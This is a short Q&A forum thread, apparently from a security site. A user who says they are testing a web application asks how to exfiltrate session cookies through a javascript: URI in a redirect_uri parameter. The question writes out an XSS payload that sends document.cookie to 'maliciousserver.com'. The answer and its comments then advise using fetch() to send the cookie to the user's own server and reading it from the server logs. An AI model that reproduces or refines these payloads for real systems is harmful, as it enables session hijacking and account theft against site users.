I'm testing a web application and found that url contains "redirect=" where it navigates to new location once logged in.


I'm trying to exploit the cookie using redirect_uri as the HTTPOnly & Secure flags are not set.

I've trying different payloads and successfully exploited using following payload


Now i want to transfer the payload to another malicious server, for that I've tried following payloads, but nothing works.

http://IPAddress/?redirect_uri=javascript:document.location.href="http://maliciousserver.com/anyfile.php?cookie=" + document.cookie

The above payload not even send request to the malicious server, whereas the HTTP request was received for the following payload


Could some one help me to transfer the cookie using redirect_uri=javascript: payload to another server?

P.S - <script> </script> tags are not executed as the x-xss-protection header is enabled.

1 Answer 1


The simplest way would be to use the fetch() method.

  • Fetch method doesn't worked out and redirection doesn't work with open & close brackets. javascript:fetch="https://example.com/" executes and displayed it in the page itself but not redirected to target page. I can't pass document.cookie to target page.
    – vallikkv
    Commented Dec 16, 2018 at 15:54
  • The fetch method is not supposed to redirect to the endpoint, but rather send an HTTP request to your server with the cookie. Then you can extract the cookie from your logs. If you replace https://example.com/ in output.jsbin.com/zugeruvige?xss=javascript:fetch("https://… with your host, you should see the document's cookie in your logs.
    – EdOverflow
    Commented Dec 16, 2018 at 16:28

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .